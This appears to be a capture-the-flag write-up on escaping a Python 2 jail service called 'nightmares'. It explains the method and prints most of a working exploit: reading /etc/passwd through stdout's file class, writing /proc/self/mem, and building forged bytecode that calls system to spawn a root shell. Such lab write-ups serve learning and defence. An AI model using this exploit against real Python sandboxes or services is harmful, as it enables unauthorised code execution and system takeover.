The Plague is building an army of evil hackers, and they are starting off by teaching them python with this simple service. Maybe if you could get full access to this system, at 22.214.171.124:9990, you would be able to find out more about The Plague’s evil plans.
(can be run locally with
$ socat TCP4-listen:9990,reuseaddr,fork EXEC:./nightmares.py)
This challenge is of classic style – breaking the python jail. Since importing is blocked by another thread, it seems there’s no way to break it using pure python tricks – we need to go binary. The only thing we have – is stdout. Luckily, we can use it’s __class__ attribute to get <type file> and so read arbitrary files:
Get a shell. The flag is NOT in ./key, ./flag, etc. stdout.__class__("/etc/passwd").read() root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh ...
A nice thing is that we can write directly to process memory using /proc/self/mem file and file‘s .seek method. Using this trick, we can easily overwrite some pointer in memory with system@libc address (libc base can be retrieved from reading /proc/self/maps) and call it.
But there are some problems: it’s for x86 (but challenge is running on x64 server) and PoC simply jumps to shellcode (but we don’t have rwx memory). Luckily, the first one is easily solved by changing some numeric parameters. The second problem is solved too – we can jump directly to system, hoping for controlled argument to be passed.
Here’s PoC for x64 python:
padding_size = 36 first_indirection = 'A' * 128 + pack_uint(addr_system) addr_first_indirection = id(first_indirection) addr_first_indirection_controled_data = addr_first_indirection + padding_size fake_object = '1; sh;'.ljust(8, " ") + pack_uint(addr_first_indirection_controled_data) addr_fake_object = id(fake_object) addr_fake_object_controled = addr_fake_object + padding_size xxx = struct.pack("<Q", addr_fake_object_controled) ptr_object = "CCCC" + xxx addr_ptr_object = id(ptr_object) addr_ptr_data_controled = addr_ptr_object + padding_size const_tuple = () addr_const_tuple = id(const_tuple) offset = ((addr_ptr_data_controled - addr_const_tuple - 0x14)) / 8 print "offset", hex(offset) offset %= 1 << 32 offset_high, offset_low = offset >> 16, offset & 0xffff evil_bytecode = get_opcode('EXTENDED_ARG') + pack_ushort(offset_high) evil_bytecode += get_opcode('LOAD_CONST') + pack_ushort(offset_low) evil_bytecode += get_opcode('CALL_FUNCTION') + '\x00\x00' pull_the_trigger_b1tch.func_code = types.CodeType(0, 0, 0, 0, evil_bytecode, const_tuple, (), (), "", "", 0, "") pull_the_trigger_b1tch()
This is local version with all python builtins enabled.
For remote jailed one, we need to:
- output memory maps and parse them on client side to defeat ASLR
- somehow get addresses of objects – we can use
object.__repr__("somestr")to get it printed as
<str object at 0x338a5f8>; thus, leaking it’s address. We have no access to “
object” type, but this is easily tricked with
- we need to store our strings somewhere in variables (to avoid early garbage collecting them). Using subclasses of object, I picked random class with attribute write access. It was
threading._Verbosetype with 102 index in subclasses list:
Get a shell. The flag is NOT in ./key, ./flag, etc. ().__class__.__bases__.__subclasses__() <class 'threading._Verbose'>
So this object can be used as persistent storage for our strings. That’s everything that we need!
$ py jailbreak.py system addr is at 0x7fc5a88f33d0 buf1 0x7fc5a9876ed4 buf2 0x7fc5a998b5f4 buf3 0x7fc5a998b504 offset 0x4495 1; trigger = lambda: None; trigger.func_code = ().__class__.__bases__.__subclasses__().code_type(0, 0, 0, 0, '\x91\x00\x00d\x95D\x83\x00\x00', ().__class__.__bases__.__subclasses__().tup, (), (), '', '', 0, ''); trigger(); id; cd /home/nightmares_owner/; ./give_me_the_flag.exe 1 uid=0(root) gid=0(root) groups=0(root) <flag was here>